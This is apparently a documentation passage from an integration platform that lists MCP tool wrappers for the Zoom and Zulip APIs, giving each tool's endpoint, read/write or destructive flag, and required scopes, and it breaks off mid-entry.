zoom_get_marketplace_apps_by_appid_manifest (read) — Get app manifest via GET /marketplace/apps/{appId}/manifest GET /api/v1/zoom/marketplace/apps/{appId}/manifest. Scopes: marketplace:read:app. zoom_get_marketplace_monetization_entitlements (read) — Get app user entitlement requests via GET /marketplace/monetization/entitlements GET /api/v1/zoom/marketplace/monetization/entitlements. Scopes: marketplace:read:list_user_entitlements. zoom_get_marketplace_users_by_userid_apps (read) — Get user app requests via GET /marketplace/users/{userId}/apps GET /api/v1/zoom/marketplace/users/{userId}/apps. Scopes: marketplace:read:list_user_app_requests. zoom_get_marketplace_users_by_userid_entitlements (read) — Get user entitlement requests via GET /marketplace/users/{userId}/entitlements GET /api/v1/zoom/marketplace/users/{userId}/entitlements. Scopes: marketplace:read:list_user_entitlements. zoom_get_meetings_by_meetingid (read) — Meeting via GET /meetings/{meetingId} GET /api/v1/zoom/meetings/{meetingId}. Scopes: meeting:read:meeting. zoom_get_meetings_by_meetingid_meeting_summary (read) — Getameetingsummary via GET /meetings/{meetingId}/meeting_summary GET /api/v1/zoom/meetings/{meetingId}/meeting_summary. Scopes: meeting:read:summary. zoom_get_meetings_by_meetingid_recordings (read) — Recording get via GET /meetings/{meetingId}/recordings GET /api/v1/zoom/meetings/{meetingId}/recordings. Scopes: cloud_recording:read:list_recording_files. zoom_get_past_meetings_by_meetingid_instances (read) — Past meetings via GET /past_meetings/{meetingId}/instances GET /api/v1/zoom/past_meetings/{meetingId}/instances. Scopes: meeting:read:list_past_instances. zoom_get_past_meetings_by_meetingid_participants (read) — Past meeting participants via GET /past_meetings/{meetingId}/participants GET /api/v1/zoom/past_meetings/{meetingId}/participants. Scopes: meeting:read:list_past_participants. zoom_get_users_by_userid (read) — User via GET /users/{userId} GET /api/v1/zoom/users/{userId}. Scopes: user:read:user. zoom_get_users_by_userid_collaboration_devices (read) — List collaboration devices via GET /users/{userId}/collaboration_devices GET /api/v1/zoom/users/{userId}/collaboration_devices. Scopes: user:read:list_collaboration_devices. zoom_get_users_by_userid_meeting_summary_templates (read) — Getmeetingsummarytemplates via GET /users/{userId}/meeting_summary_templates GET /api/v1/zoom/users/{userId}/meeting_summary_templates. Scopes: user:read:settings. zoom_get_users_by_userid_meetings (read) — Meetings via GET /users/{userId}/meetings GET /api/v1/zoom/users/{userId}/meetings. Scopes: meeting:read:list_meetings. zoom_get_users_by_userid_recordings (read) — Recordings list via GET /users/{userId}/recordings GET /api/v1/zoom/users/{userId}/recordings. Scopes: cloud_recording:read:list_user_recordings. zoom_get_users_by_userid_settings (read) — User settings via GET /users/{userId}/settings GET /api/v1/zoom/users/{userId}/settings. Scopes: user:read:settings. zoom_get_whiteboards (read) — List whiteboards via GET /whiteboards GET /api/v1/zoom/whiteboards. Scopes: whiteboard:read:list_whiteboards. zoom_get_whiteboards_by_whiteboardid (read) — Get a whiteboard via GET /whiteboards/{whiteboardId} GET /api/v1/zoom/whiteboards/{whiteboardId}. Scopes: whiteboard:read:whiteboard. zoom_get_whiteboards_by_whiteboardid_collaborator (read) — Get a whiteboard collaborator via GET /whiteboards/{whiteboardId}/collaborator GET /api/v1/zoom/whiteboards/{whiteboardId}/collaborator. Scopes: whiteboard:read:list_collaborators. zoom_get_whiteboards_by_whiteboardid_content (read) — Get whiteboard content via GET /whiteboards/{whiteboardId}/content GET /api/v1/zoom/whiteboards/{whiteboardId}/content. Scopes: whiteboard:read:content. zoom_get_whiteboards_by_whiteboardid_files_by_fileid (read) — Downloadembeddedwhiteboardfile via GET /whiteboards/{whiteboardId}/files/{fileId} GET /api/v1/zoom/whiteboards/{whiteboardId}/files/{fileId}. Scopes: whiteboard:read:file. zoom_get_whiteboards_classification_labels (read) — List classification labels via GET /whiteboards/classification_labels GET /api/v1/zoom/whiteboards/classification_labels. Scopes: whiteboard:read:list_classification_labels. zoom_get_whiteboards_export_task_by_taskid (read) — Downloadwhiteboardexport via GET /whiteboards/export/task/{taskId} GET /api/v1/zoom/whiteboards/export/task/{taskId}. Scopes: whiteboard:read:export. zoom_get_whiteboards_export_task_by_taskid_status (read) — Getwhiteboardexportdatagenerationstatus via GET /whiteboards/export/task/{taskId}/status GET /api/v1/zoom/whiteboards/export/task/{taskId}/status. Scopes: whiteboard:read:export. zoom_get_whiteboards_import_by_taskid_status (read) — Get whiteboardimportstatus via GET /whiteboards/import/{taskId}/status GET /api/v1/zoom/whiteboards/import/{taskId}/status. Scopes: whiteboard:read:import. zoom_get_whiteboards_projects (read) — Listallprojects via GET /whiteboards/projects GET /api/v1/zoom/whiteboards/projects. Scopes: whiteboard:read:list_projects. zoom_get_whiteboards_projects_by_projectid (read) — Getaproject via GET /whiteboards/projects/{projectId} GET /api/v1/zoom/whiteboards/projects/{projectId}. Scopes: whiteboard:read:project. zoom_get_whiteboards_projects_by_projectid_collaborators (read) — Getcollaboratorsofaproject via GET /whiteboards/projects/{projectId}/collaborators GET /api/v1/zoom/whiteboards/projects/{projectId}/collaborators. Scopes: whiteboard:read:project_collaborator. zoom_get_whiteboards_projects_by_projectid_subprojects (read) — List sub projects via GET /whiteboards/projects/{projectId}/subprojects GET /api/v1/zoom/whiteboards/projects/{projectId}/subprojects. Scopes: whiteboard:read:subproject. zoom_get_whiteboards_sessions (read) — Createwhiteboardsarchivefiles via GET /whiteboards/sessions GET /api/v1/zoom/whiteboards/sessions. Scopes: whiteboard:read:list_sessions. zoom_get_whiteboards_sessions_activity_download_by_path (read) — Downloadwhiteboardsactivityfile via GET /whiteboards/sessions/activity/download/{path} GET /api/v1/zoom/whiteboards/sessions/activity/download/{path}. Scopes: whiteboard:read:archived_file. zoom_get_whiteboards_sessions_by_seesionid (read) — Listwhiteboardsessionsarchivedfiles via GET /whiteboards/sessions/{seesionId} GET /api/v1/zoom/whiteboards/sessions/{seesionId}. Scopes: whiteboard:read:session. zoom_patch_meetings_by_meetingid (write) — Meeting update via PATCH /meetings/{meetingId} PATCH /api/v1/zoom/meetings/{meetingId}. Scopes: meeting:update:meeting. zoom_patch_whiteboards_by_whiteboardid_collaborator (write) — Update a whiteboard collaborator via PATCH /whiteboards/{whiteboardId}/collaborator PATCH /api/v1/zoom/whiteboards/{whiteboardId}/collaborator. Scopes: whiteboard:update:collaborator. zoom_patch_whiteboards_by_whiteboardid_share_setting (write) — Update a whiteboard share setting via PATCH /whiteboards/{whiteboardId}/share_setting PATCH /api/v1/zoom/whiteboards/{whiteboardId}/share_setting. Scopes: whiteboard:update:share_setting. zoom_patch_whiteboards_projects_by_projectid (write) — Updateproject via PATCH /whiteboards/projects/{projectId} PATCH /api/v1/zoom/whiteboards/projects/{projectId}. Scopes: whiteboard:update:project. zoom_patch_whiteboards_projects_by_projectid_collaborators (write) — Updateprojectcollaborators via PATCH /whiteboards/projects/{projectId}/collaborators PATCH /api/v1/zoom/whiteboards/projects/{projectId}/collaborators. Scopes: whiteboard:update:project_collaborator. zoom_post_marketplace_apps_manifest_validate (write) — Validating manifest via POST /marketplace/apps/manifest/validate POST /api/v1/zoom/marketplace/apps/manifest/validate. Scopes: marketplace:read:app. zoom_post_meetings_by_meetingid_registrants (write) — Meeting registrant create via POST /meetings/{meetingId}/registrants POST /api/v1/zoom/meetings/{meetingId}/registrants. Scopes: meeting:write:registrant. zoom_post_users_by_userid_meetings (write) — Meeting create via POST /users/{userId}/meetings POST /api/v1/zoom/users/{userId}/meetings. Scopes: meeting:write:meeting. zoom_post_whiteboards (write) — New whiteboard create via POST /whiteboards POST /api/v1/zoom/whiteboards. Scopes: whiteboard:write:whiteboard. zoom_post_whiteboards_by_whiteboardid_collaborator (write) — Add a whiteboard collaborator via POST /whiteboards/{whiteboardId}/collaborator POST /api/v1/zoom/whiteboards/{whiteboardId}/collaborator. Scopes: whiteboard:write:collaborator. zoom_post_whiteboards_by_whiteboardid_content (write) — Save whiteboard content via POST /whiteboards/{whiteboardId}/content POST /api/v1/zoom/whiteboards/{whiteboardId}/content. Scopes: whiteboard:write:content. zoom_post_whiteboards_export (write) — Createwhiteboardsexport via POST /whiteboards/export POST /api/v1/zoom/whiteboards/export. Scopes: whiteboard:write:export. zoom_post_whiteboards_import (write) — Create whiteboard import via POST /whiteboards/import POST /api/v1/zoom/whiteboards/import. Scopes: whiteboard:write:import. zoom_post_whiteboards_projects (write) — Createproject via POST /whiteboards/projects POST /api/v1/zoom/whiteboards/projects. Scopes: whiteboard:write:project. zoom_post_whiteboards_projects_by_projectid_collaborators (write) — Shareaprojecttonewusers via POST /whiteboards/projects/{projectId}/collaborators POST /api/v1/zoom/whiteboards/projects/{projectId}/collaborators. Scopes: whiteboard:write:project_collaborator. zoom_post_whiteboards_projects_by_projectid_subprojects (write) — Create sub project via POST /whiteboards/projects/{projectId}/subprojects POST /api/v1/zoom/whiteboards/projects/{projectId}/subprojects. Scopes: whiteboard:write:subproject. zoom_post_whiteboards_projects_by_projectid_whiteboards (write) — Movewhiteboardstoproject via POST /whiteboards/projects/{projectId}/whiteboards POST /api/v1/zoom/whiteboards/projects/{projectId}/whiteboards. Scopes: whiteboard:write:project_whiteboard. zoom_put_whiteboards_by_whiteboardid_classification (write) — Applyclassificationtowhiteboard via PUT /whiteboards/{whiteboardId}/classification PUT /api/v1/zoom/whiteboards/{whiteboardId}/classification. Scopes: whiteboard:update:whiteboard_classification. ================================================================================ ## Zulip URL: https://www.agenticfabriq.com/integrations/zulip Section: Integrated Tools Zulip — 159 MCP tools Provider key: zulip. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. zulip_delete_attachments_by_attachment_id (write, destructive) — Delete an uploaded file given its attachment ID. Note that uploaded files that have been referenced in at least one message are automatically deleted once the last message containing a link to them is deleted (whether directly or via a message retention policy). Uploaded files that are never used in a message are automatically deleted a few weeks after being uploaded. Attachment IDs can be contained from GET /attachments. Zulip DELETE /attachments/{attachment_id}. DELETE /api/v1/zulip/attachments/{attachment_id}. Scopes: api. zulip_delete_bot_storage (write, destructive) — Note: This endpoint is only available to bot user accounts. Delete data stored for a bot user. Zulip DELETE /bot_storage. DELETE /api/v1/zulip/bot_storage. Scopes: api. zulip_delete_default_streams (write, destructive) — Remove a channel from the set of [default channels][default-channels] for new users joining the organization. [default-channels]: /help/set-default-channels-for-new-users. Zulip DELETE /default_streams. DELETE /api/v1/zulip/default_streams. Scopes: api. zulip_delete_drafts_by_draft_id (write, destructive) — Delete a single draft from the server. The deletion will be automatically synchronized to other clients via a `drafts` event. Zulip DELETE /drafts/{draft_id}. DELETE /api/v1/zulip/drafts/{draft_id}. Scopes: api. zulip_delete_events (write, destructive) — Delete a previously registered queue. Zulip DELETE /events. Part of Zulip's long-polling event system: register a queue with zulip_post_register, poll it with zulip_get_events (which BLOCKS for up to the server's timeout unless dont_block is true), and release it with zulip_delete_events. An abandoned queue is garbage-collected by the server. DELETE /api/v1/zulip/events. Scopes: api. zulip_delete_export_realm_by_export_id (write, destructive) — Delete a completed public or standard [data export][export-data] of the organization. Data exports that happened on a previous server (i.e., an export with `"export_from_prior_server": true` in the `GET /export/realm` response) cannot be deleted using this endpoint, since their tarball is no longer stored on this server; attempting to do so fails with the same error as for an export that has already been deleted. This endpoint's success response does not describe the resulting state of the organization's data exports. . Zulip DELETE /export/realm/{export_id}. Documented only in Zulip's development (main) contract, not in the 12.2 release contract, so an older server may not route it. DELETE /api/v1/zulip/export/realm/{export_id}. Scopes: api. zulip_delete_invites_by_invite_id (write, destructive) — Revoke an email invitation. A user can only revoke invitations that they can manage. Zulip DELETE /invites/{invite_id}. DELETE /api/v1/zulip/invites/{invite_id}. Scopes: api. zulip_delete_invites_multiuse_by_invite_id (write, destructive) — Revoke a reusable invitation link. A user can only revoke invitations that they can manage. Zulip DELETE /invites/multiuse/{invite_id}. DELETE /api/v1/zulip/invites/multiuse/{invite_id}. Scopes: api. zulip_delete_messages_by_message_id (write, destructive) — Permanently delete a message. This API corresponds to the [delete a message completely][delete-completely] feature documented in the Zulip help center. A user must be able to access the content of a message in order to delete it. See channel permissions for more information about content access for channel messages. For direct messages, the user must have received or sent the direct message to have content access. See restricting message deletion for documentation on when users are allowed to delete messages. . Zulip DELETE /messages/{message_id}. DELETE /api/v1/zulip/messages/{message_id}. Scopes: api. zulip_delete_messages_by_message_id_reactions (write, destructive) — Remove an emoji reaction from a message. Zulip DELETE /messages/{message_id}/reactions. DELETE /api/v1/zulip/messages/{message_id}/reactions. Scopes: api. zulip_delete_navigation_views_by_fragment (write, destructive) — Remove a navigation view. Zulip DELETE /navigation_views/{fragment}. DELETE /api/v1/zulip/navigation_views/{fragment}. Scopes: api. zulip_delete_realm_domains_by_domain (write, destructive) — Remove the specified domain from the set of allowed domains configured in the organization for user account email addresses. Zulip DELETE /realm/domains/{domain}. DELETE /api/v1/zulip/realm/domains/{domain}. Scopes: api. zulip_delete_realm_emoji_by_emoji_name (write, destructive) — Deactivate a custom emoji from the user's organization. Users can only deactivate custom emoji that they added themselves except for organization administrators, who can deactivate any custom emoji. Note that deactivated emoji will still be visible in old messages, reactions, user statuses and channel descriptions. Zulip DELETE /realm/emoji/{emoji_name}. DELETE /api/v1/zulip/realm/emoji/{emoji_name}. Scopes: api. zulip_delete_realm_filters_by_filter_id (write, destructive) — Remove linkifiers, regular expression patterns that are automatically linkified when they appear in messages and topics. Zulip DELETE /realm/filters/{filter_id}. DELETE /api/v1/zulip/realm/filters/{filter_id}. Scopes: api. zulip_delete_realm_playgrounds_by_playground_id (write, destructive) — Remove a code playground previously configured for an organization. Zulip DELETE /realm/playgrounds/{playground_id}. DELETE /api/v1/zulip/realm/playgrounds/{playground_id}. Scopes: api. zulip_delete_realm_profile_fields_by_field_id (write, destructive) — Delete a custom profile field in the user's organization. This will also permanently delete any value configured for the custom profile field from every user profile in the database. Therefore, it's recommended that clients warn the active user of the related data removal before submitting the request, e.g., notify them of how many users will have their profile data deleted as a result of deleting the custom profile field. Zulip DELETE /realm/profile_fields/{field_id}. Documented only in Zulip's development (main) contract, not in the 12.2 release contract, so an older server may not route it. DELETE /api/v1/zulip/realm/profile_fields/{field_id}. Scopes: api. zulip_delete_reminders_by_reminder_id (write, destructive) — Delete, and therefore cancel sending, a previously scheduled reminder. Zulip DELETE /reminders/{reminder_id}. DELETE /api/v1/zulip/reminders/{reminder_id}. Scopes: api. zulip_delete_saved_snippets_by_saved_snippet_id (write, destructive) — Delete a saved snippet. Zulip DELETE /saved_snippets/{saved_snippet_id}. DELETE /api/v1/zulip/saved_snippets/{saved_snippet_id}. Scopes: api. zulip_delete_scheduled_messages_by_scheduled_message_id (write, destructive) — Delete, and therefore cancel sending, a previously scheduled message. Zulip DELETE /scheduled_messages/{scheduled_message_id}. DELETE /api/v1/zulip/scheduled_messages/{scheduled_message_id}. Scopes: api. zulip_delete_streams_by_stream_id (write, destructive) — Archive the channel with the ID `stream_id`. Zulip DELETE /streams/{stream_id}. DELETE /api/v1/zulip/streams/{stream_id}. Scopes: api. zulip_delete_users_by_user_id (write, destructive) — Deactivates a user given their user ID. Note that any bots controlled by the user will be deactivated before the user; clients that don't want this behavior are expected to prompt the user to adjust the bot's owners before making this API request. Zulip DELETE /users/{user_id}. DELETE /api/v1/zulip/users/{user_id}. Scopes: api. zulip_delete_users_me (write, destructive) — Deactivates the current user's account. See also the administrative endpoint for deactivating another user. This endpoint is primarily useful to Zulip clients providing a user settings UI. Zulip DELETE /users/me. DELETE /api/v1/zulip/users/me. Scopes: api. zulip_delete_users_me_alert_words (write, destructive) — Remove words (or phrases) from the user's set of configured [alert words][alert-words]. Alert words are case insensitive. [alert-words]: /help/dm-mention-alert-notifications#alert-words. Zulip DELETE /users/me/alert_words. DELETE /api/v1/zulip/users/me/alert_words. Scopes: api. zulip_delete_users_me_android_gcm_reg_id (write, destructive) — This endpoint removes an FCM registration token for push notifications. Zulip DELETE /users/me/android_gcm_reg_id. DELETE /api/v1/zulip/users/me/android_gcm_reg_id. Scopes: api. zulip_delete_users_me_apns_device_token (write, destructive) — This endpoint removes an APNs device token for iOS push notifications. Zulip DELETE /users/me/apns_device_token. DELETE /api/v1/zulip/users/me/apns_device_token. Scopes: api. zulip_delete_users_me_avatar (write, destructive) — Delete the current user's uploaded profile picture, reverting to the organization's default style for profile pictures. This endpoint is idempotent: if the current user has not uploaded a custom profile picture, the request succeeds without making any changes. In organizations that restrict profile picture changes, only administrators can use this endpoint. Zulip DELETE /users/me/avatar. Documented only in Zulip's development (main) contract, not in the 12.2 release contract, so an older server may not route it. DELETE /api/v1/zulip/users/me/avatar. Scopes: api. zulip_delete_users_me_muted_users_by_muted_user_id (write, destructive) — Unmute a user from the perspective of the requesting user. Zulip DELETE /users/me/muted_users/{muted_user_id}. DELETE /api/v1/zulip/users/me/muted_users/{muted_user_id}. Scopes: api. zulip_delete_users_me_profile_data (write, destructive) — Remove the current user's profile data for one or more of the custom profile fields configured in the organization. Zulip DELETE /users/me/profile_data. DELETE /api/v1/zulip/users/me/profile_data. Scopes: api. zulip_delete_users_me_subscriptions (write, destructive) — Unsubscribe yourself or other users from one or more channels. In addition to managing the current user's subscriptions, this endpoint can be used to remove other users from channels. This is possible in 3 situations: - Organization administrators can remove any user from any channel. - Users can remove a bot that they own from any channel that the user can access. - Users can unsubscribe any user from a channel if they have access to the channel and are a member of the user group specified by the [`can_remove_subscribers_group`][can-remove-parameter] for the channel. Zulip DELETE /users/me/subscriptions. DELETE /api/v1/zulip/users/me/subscriptions. Scopes: api. zulip_get_attachments (read) — Fetch metadata on files uploaded by the requesting user. Zulip GET /attachments. GET /api/v1/zulip/attachments. Scopes: api. zulip_get_bot_storage (read) — Note: This endpoint is only available to bot user accounts. Retrieve data stored for a bot user. Zulip GET /bot_storage. GET /api/v1/zulip/bot_storage. Scopes: api. zulip_get_bots_by_bot_id_api_key (read) — Fetch the API key for a bot user. Only the bot's owner and organization administrators have access to a bot's API key. Zulip GET /bots/{bot_id}/api_key. GET /api/v1/zulip/bots/{bot_id}/api_key. Scopes: api. zulip_get_calls_bigbluebutton_create (read) — Create a video call URL for a BigBlueButton video call. Requires BigBlueButton 2.4+ to be configured on the Zulip server. The acting user will be given the moderator role on the call. Zulip GET /calls/bigbluebutton/create. GET /api/v1/zulip/calls/bigbluebutton/create. Scopes: api. zulip_get_channel_folders (read) — Fetches all of the channel folders in the organization, sorted by the `order` field. Zulip GET /channel_folders. GET /api/v1/zulip/channel_folders. Scopes: api. zulip_get_drafts (read) — Fetch all drafts for the current user. Zulip GET /drafts. GET /api/v1/zulip/drafts. Scopes: api. zulip_get_events (read) — This endpoint allows you to receive new events from a registered event queue. Long-lived clients should use the `event_queue_longpoll_timeout_seconds` property returned by `POST /register` as the client-side HTTP request timeout for calls to this endpoint. It is guaranteed to be higher than heartbeat timeout and should be respected by clients to avoid breaking when heartbeat timeout increases. Zulip GET /events. Part of Zulip's long-polling event system: register a queue with zulip_post_register, poll it with zulip_get_events (which BLOCKS for up to the server's timeout unless dont_block is true), and release it with zulip_delete_events. An abandoned queue is garbage-collected by the server. GET /api/v1/zulip/events. Scopes: api. zulip_get_export_realm (read) — Fetch all the public and standard [data exports][export-data] of the organization. Zulip GET /export/realm. GET /api/v1/zulip/export/realm. Scopes: api. zulip_get_export_realm_consents (read) — Fetches which users have consented for their private data to be exported by organization administrators. Zulip GET /export/realm/consents. GET /api/v1/zulip/export/realm/consents. Scopes: api. zulip_get_get_stream_id (read) — Get the unique ID of a given channel. Zulip GET /get_stream_id. GET /api/v1/zulip/get_stream_id. Scopes: api. zulip_get_invites (read) — Fetch all unexpired invitations (i.e. email invitations and reusable invitation links) that can be managed by the user. Note that administrators can manage invitations that were created by other users. Zulip GET /invites. GET /api/v1/zulip/invites. Scopes: api. zulip_get_messages (read) — This endpoint is the primary way to fetch messages. It is used by all official Zulip clients (e.g. the web, desktop, mobile, and terminal clients) as well as many bots, API clients, backup scripts, etc. Most queries will specify a narrow filter, to fetch the messages matching any supported search query. If not specified, it will return messages corresponding to the user's combined feed. There are two ways to specify which messages matching the narrow filter to fetch: - A range of messages, described by an `anchor` message ID (or a string-format specification of how the server should computer an anchor to use) and a maximum number of messages in each direction from that anchor. . Zulip GET /messages. GET /api/v1/zulip/messages. Scopes: api. zulip_get_messages_by_message_id (read) — Given a message ID, return the message object. Additionally, a `raw_content` field is included. This field is useful for clients that primarily work with HTML-rendered messages but might need to occasionally fetch the message's raw Zulip-flavored Markdown (e.g. for view source or prefilling a message edit textarea). Zulip GET /messages/{message_id}. GET /api/v1/zulip/messages/{message_id}. Scopes: api. zulip_get_messages_by_message_id_history (read) — Fetch the message edit history of a previously edited message. Note that edit history may be disabled in some organizations; see the [Zulip help center documentation on editing messages][edit-settings]. [edit-settings]: /help/view-a-messages-edit-history. Zulip GET /messages/{message_id}/history. GET /api/v1/zulip/messages/{message_id}/history. Scopes: api. zulip_get_messages_by_message_id_read_receipts (read) — Returns a list containing the IDs for all users who have marked the message as read (and whose privacy settings allow sharing that information). The list of users IDs will include any bots who have marked the message as read via the API (providing a way for bots to indicate whether they have processed a message successfully in a way that can be easily inspected in a Zulip client). Bots for which this behavior is not desired may disable the `send_read_receipts` setting via the API. It will never contain the message's sender. Zulip GET /messages/{message_id}/read_receipts. GET /api/v1/zulip/messages/{message_id}/read_receipts. Scopes: api. zulip_get_messages_matches_narrow (read) — Check whether a set of messages match a narrow. For many common narrows (e.g. a topic), clients can write an efficient client-side check to determine whether a newly arrived message belongs in the view. This endpoint is designed to allow clients to handle more complex narrows for which the client does not (or in the case of full-text search, cannot) implement this check. . Zulip GET /messages/matches_narrow. GET /api/v1/zulip/messages/matches_narrow. Scopes: api. zulip_get_navigation_views (read) — Fetch all configured custom navigation views for the current user. Zulip GET /navigation_views. GET /api/v1/zulip/navigation_views. Scopes: api. zulip_get_realm_domains (read) — Get the set of allowed domains configured in the organization for user account email addresses. As each Zulip user account is associated with an email address, organization owners can restrict new account creation (and email changes) to email addresses with these domains. Zulip GET /realm/domains. GET /api/v1/zulip/realm/domains. Scopes: api. zulip_get_realm_emoji (read) — Get all the custom emoji in the user's organization. Zulip GET /realm/emoji. GET /api/v1/zulip/realm/emoji. Scopes: api. zulip_get_realm_linkifiers (read) — List all of an organization's configured linkifiers, regular expression patterns that are automatically linkified when they appear in messages and topics. Zulip GET /realm/linkifiers. GET /api/v1/zulip/realm/linkifiers. Scopes: api. zulip_get_realm_presence (read) — Get the presence information of all the users in an organization. If the `CAN_ACCESS_ALL_USERS_GROUP_LIMITS_PRESENCE` server-level setting is set to `true`, presence information of only accessible users are returned. Complete Zulip apps are recommended to fetch presence information when they post their own state using the `POST /presence` API endpoint. Zulip GET /realm/presence. GET /api/v1/zulip/realm/presence. Scopes: api. zulip_get_realm_profile_fields (read) — Get all the custom profile fields configured for the user's organization. Zulip GET /realm/profile_fields. GET /api/v1/zulip/realm/profile_fields. Scopes: api. zulip_get_reminders (read) — Fetch all reminders for the current user. Reminders are messages the user has scheduled to be sent in the future to themself. Zulip GET /reminders. GET /api/v1/zulip/reminders. Scopes: api. zulip_get_saved_snippets (read) — Fetch all the saved snippets for the current user. Zulip GET /saved_snippets. GET /api/v1/zulip/saved_snippets. Scopes: api. zulip_get_scheduled_messages (read) — Fetch all scheduled messages for the current user. Scheduled messages are messages the user has scheduled to be sent in the future via the send later feature. Zulip GET /scheduled_messages. GET /api/v1/zulip/scheduled_messages. Scopes: api. zulip_get_server_settings (read) — Fetch global settings for a Zulip server. Note: this endpoint does not require any authentication at all, and you can use it to check: - If this is a Zulip server, and if so, what version of Zulip it's running. - What a Zulip client (e.g. a mobile app or zulip-terminal) needs to know in order to display a login prompt for the server (e.g. what authentication methods are available). Zulip GET /server_settings. GET /api/v1/zulip/server_settings. Scopes: api. zulip_get_streams (read) — Get all channels that the user has access to. Zulip GET /streams. GET /api/v1/zulip/streams. Scopes: api. zulip_get_streams_by_stream_id (read) — Fetch details for the channel with the ID `stream_id`. Zulip GET /streams/{stream_id}. GET /api/v1/zulip/streams/{stream_id}. Scopes: api. zulip_get_streams_by_stream_id_email_address (read) — Get email address of a channel. Note that only users with permission to post messages in the channel can access the channel's email address. Zulip GET /streams/{stream_id}/email_address. GET /api/v1/zulip/streams/{stream_id}/email_address. Scopes: api. zulip_get_streams_by_stream_id_members (read) — Get all users subscribed to a channel. Zulip GET /streams/{stream_id}/members. GET /api/v1/zulip/streams/{stream_id}/members. Scopes: api. zulip_get_thumbnail_status_by_realm_id_str_by_filename (read) — Check whether a thumbnail exists for a specific file uploaded by a user. This endpoint is intended to be polled by clients to determine when thumbnail generation is complete. Zulip GET /thumbnail/status/{realm_id_str}/{filename}. GET /api/v1/zulip/thumbnail/status/{realm_id_str}/{filename}. Scopes: api. zulip_get_user_groups (read) — Fetches all of the user groups in the organization. Note: This endpoint is not available to guest users. Zulip GET /user_groups. GET /api/v1/zulip/user_groups. Scopes: api. zulip_get_user_groups_by_user_group_id_members (read) — Get the members of a user group. Zulip GET /user_groups/{user_group_id}/members. GET /api/v1/zulip/user_groups/{user_group_id}/members. Scopes: api. zulip_get_user_groups_by_user_group_id_members_by_user_id (read) — Check whether a user is member of user group. Zulip GET /user_groups/{user_group_id}/members/{user_id}. GET /api/v1/zulip/user_groups/{user_group_id}/members/{user_id}. Scopes: api. zulip_get_user_groups_by_user_group_id_subgroups (read) — Get the subgroups of a user group. Zulip GET /user_groups/{user_group_id}/subgroups. GET /api/v1/zulip/user_groups/{user_group_id}/subgroups. Scopes: api. zulip_get_user_uploads_by_realm_id_str_by_filename (read) — Get a temporary URL for access to an uploaded file that doesn't require authentication. The `SIGNED_ACCESS_TOKEN_VALIDITY_IN_SECONDS` server setting controls the valid length of time for temporary access, which generally is set to a default of 60 seconds. Consumers of this API are expected to immediately request the URL that it returns, and should not store it in any way. Zulip GET /user_uploads/{realm_id_str}/{filename}. GET /api/v1/zulip/user_uploads/{realm_id_str}/{filename}. Scopes: api. zulip_get_users (read) — Retrieve details on users in the organization. By default, returns all accessible users in the organization. The `user_ids` query parameter can be used to limit the results to a specific set of user IDs. Optionally includes values of custom profile fields. You can also fetch details on a single user. Zulip GET /users. GET /api/v1/zulip/users. Scopes: api. zulip_get_users_by_email (read) — Fetch details for a single user in the organization given a Zulip API email address. You can also fetch details on all users in the organization or by user ID. Fetching by user ID is generally recommended when possible, as a user might change their email address or change their email address visibility, either of which could change the client's ability to look them up by that email address. Zulip GET /users/{email}. GET /api/v1/zulip/users/by-email/{email}. Scopes: api. zulip_get_users_by_user_id (read) — Fetch details for a single user in the organization. You can also fetch details on all users in the organization or by a user's Zulip API email. Zulip GET /users/{user_id}. GET /api/v1/zulip/users/{user_id}. Scopes: api. zulip_get_users_by_user_id_channels (read) — Gets the list of channels that the target user is subscribed to. The channel security model means only those subscribed channels to which the acting user has metadata access are returned. For organization administrators, this is guaranteed to be all channels the target user is subscribed to, since organization administrators implicitly have metadata access to all channels. Zulip GET /users/{user_id}/channels. GET /api/v1/zulip/users/{user_id}/channels. Scopes: api. zulip_get_users_by_user_id_or_email_presence (read) — Get the presence status for a specific user. This endpoint is most useful for embedding data about a user's presence status in other sites (e.g. an employee directory). Full Zulip clients like mobile/desktop apps will want to use the main presence endpoint, which returns data for all active users in the organization, instead. Zulip GET /users/{user_id_or_email}/presence. GET /api/v1/zulip/users/{user_id_or_email}/presence. Scopes: api. zulip_get_users_by_user_id_status (read) — Get the status currently set by a user in the organization. Zulip GET /users/{user_id}/status. GET /api/v1/zulip/users/{user_id}/status. Scopes: api. zulip_get_users_by_user_id_subscriptions_by_stream_id (read) — Check whether a user is subscribed to a channel. Zulip GET /users/{user_id}/subscriptions/{stream_id}. GET /api/v1/zulip/users/{user_id}/subscriptions/{stream_id}. Scopes: api. zulip_get_users_me (read) — Get basic data about the user/bot that requests this endpoint. Zulip GET /users/me. GET /api/v1/zulip/users/me. Scopes: api. zulip_get_users_me_alert_words (read) — Get all of the user's configured [alert words][alert-words]. [alert-words]: /help/dm-mention-alert-notifications#alert-words. Zulip GET /users/me/alert_words. GET /api/v1/zulip/users/me/alert_words. Scopes: api. zulip_get_users_me_by_stream_id_topics (read) — Get all topics the user has access to in a specific channel. Note that for private channels with protected history, the user will only have access to topics of messages sent after they subscribed to the channel. Similarly, a user's bot will only have access to messages sent after the bot was subscribed to the channel, instead of when the user subscribed. Zulip GET /users/me/{stream_id}/topics. GET /api/v1/zulip/users/me/{stream_id}/topics. Scopes: api. zulip_get_users_me_subscriptions (read) — Get all channels that the user is subscribed to. Zulip GET /users/me/subscriptions. GET /api/v1/zulip/users/me/subscriptions. Scopes: api. zulip_patch_channel_folders (write) — Reorder the channel folders in the user's organization. Channel folders are displayed in Zulip UI in order; this endpoint allows administrative settings UI to change the ordering of channel folders. This endpoint is used to implement the dragging feature described in the manage channel folders documentation. Zulip PATCH /channel_folders. PATCH /api/v1/zulip/channel_folders. Scopes: api. zulip_patch_channel_folders_by_channel_folder_id (write) — Update the name or description of a channel folder with the specified ID. This endpoint is also used to archive or unarchive the specified channel folder. Zulip PATCH /channel_folders/{channel_folder_id}. PATCH /api/v1/zulip/channel_folders/{channel_folder_id}. Scopes: api. zulip_patch_drafts_by_draft_id (write) — Edit a draft on the server. The edit will be automatically synchronized to other clients via `drafts` events. Zulip PATCH /drafts/{draft_id}. PATCH /api/v1/zulip/drafts/{draft_id}. Scopes: api. zulip_patch_messages_by_message_id (write) — Update the content, topic, or channel of the message with the specified 